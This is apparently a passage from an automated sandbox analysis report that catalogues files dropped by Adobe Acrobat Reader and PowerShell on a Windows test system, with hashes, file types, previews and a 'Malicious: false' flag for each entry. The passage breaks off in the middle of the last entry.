SHA-512:	D092A11CA262C4A6240997F4383BB91186042907466FAEA7D9D3E17173F1744DBD84F3F05AA779E7B6E4E730D6A881936F01F64143CB0FE9780D3062CE12B202
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.266467913864525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJf+dPeUkwRe9:YvXKXJFtYpW7yG28Ukee9
MD5:	A11DA0FD0040599C4C4A42D772E643F0
SHA1:	68CAD7916118723E271C906196993456A51ADA70
SHA-256:	FE1A169D7A611F541B322111300827BF6632CBD8DBB15E9193172FFABB4D4400
SHA-512:	0452A68E2DB0D48CF671C71A27C57034EC5BA9461B3521D2B866FF803D5A498B871FD0C14EA6DF8F07ED9603D163D25C66898D6538B10812C26EA1A1267418F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.263607272295052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfbPtdPeUkwRe9:YvXKXJFtYpW7yGDV8Ukee9
MD5:	73E3656E376681E251AF7FCBDCAD66B3
SHA1:	4F3A52303BC46958208F4F80B876F642D9F49EE9
SHA-256:	719E4221ED5761DB750A1B4156037FB08571AE9E02120AB598157EBA8CF2A475
SHA-512:	A82F63AF349127F88442BA7421AE8D4F0BE9BD22B1C044C69465C17AAD5A0BE773D618A5C0B5806571DCD3509224A398C24C3EEB99D34E377812B4235E539683
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.264688203993395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJf21rPeUkwRe9:YvXKXJFtYpW7yG+16Ukee9
MD5:	BF5CAD75A4535D4A5665DD5C0642E88E
SHA1:	D69CDF8D230B50B687431902DE1CD7CA302BA8DD
SHA-256:	2D9AD796D07811DE5F4882D44ED338B3AD3C53BD90EC650568E0EA96869A1F91
SHA-512:	2007C57996C44DDAD9958FCD5CD8CEEAB9DA07B80D0F6E5540671AEBFCD7A4D5FA2C3928C40932C78CA618FC379C58E1D92F9CF8B07A11DA44733246069C62B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6644410815944966
Encrypted:	false
SSDEEP:	24:Yv6XJFmiXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSxDr:YvIFRvBgkDMUJUAh8cvMVr
MD5:	1E8F3B3C1ED71AD143CF0A143C859832
SHA1:	1C098033D2A4ACF7CAD84DA3900C781E59F1970F
SHA-256:	F6E62344D6F3BE4988FE7F784A8374B1D237F7150AE6B14CB096F2EC5EEF5DD7
SHA-512:	50DDC08F5F49BC36293FEF98FD4FAEB0802CE4FB193D24087B067DDA039088C9FFDB5F4E7AF894C4006F10013291992649C61412555B615309766EF5275C7627
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.240093117285903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJfshHHrPeUkwRe9:YvXKXJFtYpW7yGUUUkee9
MD5:	24BCD3A9240C15D4ECA30109E2AC5220
SHA1:	5DA6C60C215088520E6E6B27D455E09829BA2F6D
SHA-256:	E1FA9DBA69C577C9BD4D934DE08C58C9B91F8E95C4CC905884FB637F7238C8E4
SHA-512:	784CAA9E8D0F190D955594D75FBA2D7B1CB900349FD54534C2A9E022313461301FA10ECFADFA5650CA701B9B0E9C9C4297B8DFEBB12A03130DF5659942C5F692
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252743759794537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXA2TecUcTY+FIbRI6XVW7+0YVjqoAvJTqgFCrPeUkwRe9:YvXKXJFtYpW7yGTq16Ukee9
MD5:	DAD057094B809BB453DC3E2286D48B05
SHA1:	D5585184041DADEBD938C53D2DEAD13BB79EF08C
SHA-256:	DE94F86DDC1D9DC71B2D6ECCAC205FCEECBD663EEBF68464E49BF083CF138F89
SHA-512:	B597985D61A5962D6D3A61C96F4FC4C7592DFBFD2FF7A34C8855D7879C01FD461C4B34D1B8A962F7E112B7D18F34A9226D80E197A265B3A97111A1FA4551EBCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8cf7de6-5874-4f53-95d9-2fa9ebfe1861","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737022480782,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143466264778763
Encrypted:	false
SSDEEP:	24:YBDCDIawaykZOv1FcJ+gj8K707whdy4PjFQj0S6fM7JXC2wM12LS6RCSg3T5Zm65:YBGku+UXDFiP8ZSiJK9dUEqJV9E
MD5:	902289B558F333E0968A38176AF62DEE
SHA1:	25E58BC0BBFDF286AF18F0022BFD2B23279BF995
SHA-256:	A1B9A9C99AB631D09518C074791030BE3B0A5C36ECEEA500D730F643616407ED
SHA-512:	87E56D99048A09582F12B9AEFEBA8B4EC4D7CC511579E355E80837D03750880CCEA3760F8F92D09869FC9571FE28C7ED3DE95A6E33F0609526EA98436C62C188
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f7f4b3fd0bb69b4ea5c2970517158598","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736846350000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7afb7cb102da82f9d5b108cf94618f30","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736846349000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3d4fc63c11a6195a17552df9842f0847","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736846349000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f6b1a333b0a44e7ada1212819df41d0c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736846349000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d3843b80475135036d96e0b66c458f8f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736846349000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"310a36b5da0f16330922c77c78a360c6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846749524361772
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp8OIT4zJwtNBwtNbRZ6bRZ4LOITF:TVl2GL7ms6ggOVpDzutYtp6Py
MD5:	7F3D3A64A7A4B914D4121DE01D6E6BB8
SHA1:	65F66E9ECBF4B5FDFFCA00A79340BF9F4D76ADE8
SHA-256:	EECA143583A764FC57D3E5A33246F019FC7BCBB6B3DFFFBF853AEA9D3FDABB28
SHA-512:	5CA1B28E4139BB0DD163103B6F04ED363D03147A9628D5D7A2E8CA26D080AB25217E46E66DD6FB8EFEA6CB1979CB2CBD1609FFAA9C9585AF1D2D70F79AD41607
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3372552914686822
Encrypted:	false
SSDEEP:	24:7+t7AD1RZKHs/Ds/Sp8OITPzJwtNBwtNbRZ6bRZWf1RZKQqLBx/XYKQvGJF7urs0:7M7GgOVp8zutYtp6PMRqll2GL7ms0
MD5:	84A15C7FB5939AC70AB1793E7D3882E8
SHA1:	F880A60E3107AB8E6931A647CB94571E30AB0680
SHA-256:	EA0619BB340390342A6B3CFE9F78BCE6A153474AC8DB43E9191F727352ADCAB1
SHA-512:	A5E73996BAA283146CF421084DEA2D9D2C278B0F2F1C4C4B98DA22EFDE088321296EA4493368464FA4E66120DFF043AB82E9D80EFBAEA3EACD55879B222CEB59
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgiYaGtMCVsoqGAwAY2RJG/unmroGYyu:6a6TZ44ADE1GDoqGArG/unw7K
MD5:	EEB08414341760F960A7EE68530401BD
SHA1:	5C4752B6B62AB0B72621FC4A8DD05A35588EB795
SHA-256:	7624BAD7E128CA72963F011D3B1C5C2226D0E344ACFD84D5130ADA47F1F2BB4E
SHA-512:	CDA1AB198B057F9A2BA0930E217D8779026D23104A9000A5E3DE5FEF71CEBD35BF7E245DB5C22E3AE172506F2870F264840DC34B157AF90074258255ADB7868B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIdb81c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sClL2H:Qw946cPbiOxDlbYnuRKI82H
MD5:	9395D3BDB7E0AA591801DDD19A9D6AB1
SHA1:	8474A5AFADFCC7A76D479619219E35B2CEA55CF3
SHA-256:	F820FFE57B5FCC46C95F055B1EFDAFF59873AAF491409CE6D36C9012498374CF
SHA-512:	8DF60D16B4BE997AA14FE38D44D71FA5ADA1A713D903F8632A93AB1EFCDD664853213C072B3C9517FFFCFC2427362E93B75E5AD9584D0705079D919F593E86E4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.4.:.1.9.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2z0houws.gtc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_euflqs0s.fdu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 04-19-03-920.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358472236243471
Encrypted:	false
SSDEEP:	384:WrHS3HuYwKhp8gCgAP4gI820zyCRqwT+aDB6J17MIYAXjlZ7AC4WqPXSXyPQCzd1:veb
MD5:	5FDFB545F06D2BD2F867212994796BDB
SHA1:	DA64DB6AE964E83BCA70E1BC3420656492E7A310
SHA-256:	0BAF215FFA9E68A46951A41C30B1756FD4A39EDD6EC671C33BFFE54EE3081A03
SHA-512:	B0281BFB467AD3BF5021B2405E8517EFCE6D1AB4D7B94D0243FB1302B9963D56087105A9D5B721DF496D3D5A1B2DD4E3183DEA6E74413EA0FF2741E648BC52A7
Malicious:	false
Preview:	SessionID=7e8aa81a-5486-4309-aa9d-2771da2f299c.1736846343939 Timestamp=2025-01-14T04:19:03:939-0500 ThreadID=7576 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7e8aa81a-5486-4309-aa9d-2771da2f299c.1736846343939 Timestamp=2025-01-14T04:19:03:943-0500 ThreadID=7576 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7e8aa81a-5486-4309-aa9d-2771da2f299c.1736846343939 Timestamp=2025-01-14T04:19:03:943-0500 ThreadID=7576 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7e8aa81a-5486-4309-aa9d-2771da2f299c.1736846343939 Timestamp=2025-01-14T04:19:03:943-0500 ThreadID=7576 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7e8aa81a-5486-4309-aa9d-2771da2f299c.1736846343939 Timestamp=2025-01-14T04:19:03:943-0500 ThreadID=7576 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395722184684493
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbU:A
MD5:	84CDA3AFAD590B74E599DB7C765D4F0E
SHA1:	19E020E7EBE9668FD0A4067EA9B6C309D1EFD56E
SHA-256:	296429FDF810FF72FBE45804D5264817C2BA6600BBB4A32B39301B207AAEE0EA
SHA-512:	A34CA6524095FE44D4FA324C3C4D26A67EA87B95B638913093D67E5C2322ED3239DB687F44ECD0C9DBFA8D2236469FD5C458F5B5FE14CFD45F46506BDF463710
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\117864df-39e9-4a01-a343-4b71d7d6b324.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2acee178-e0e8-49cb-9d96-93e382f13473.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
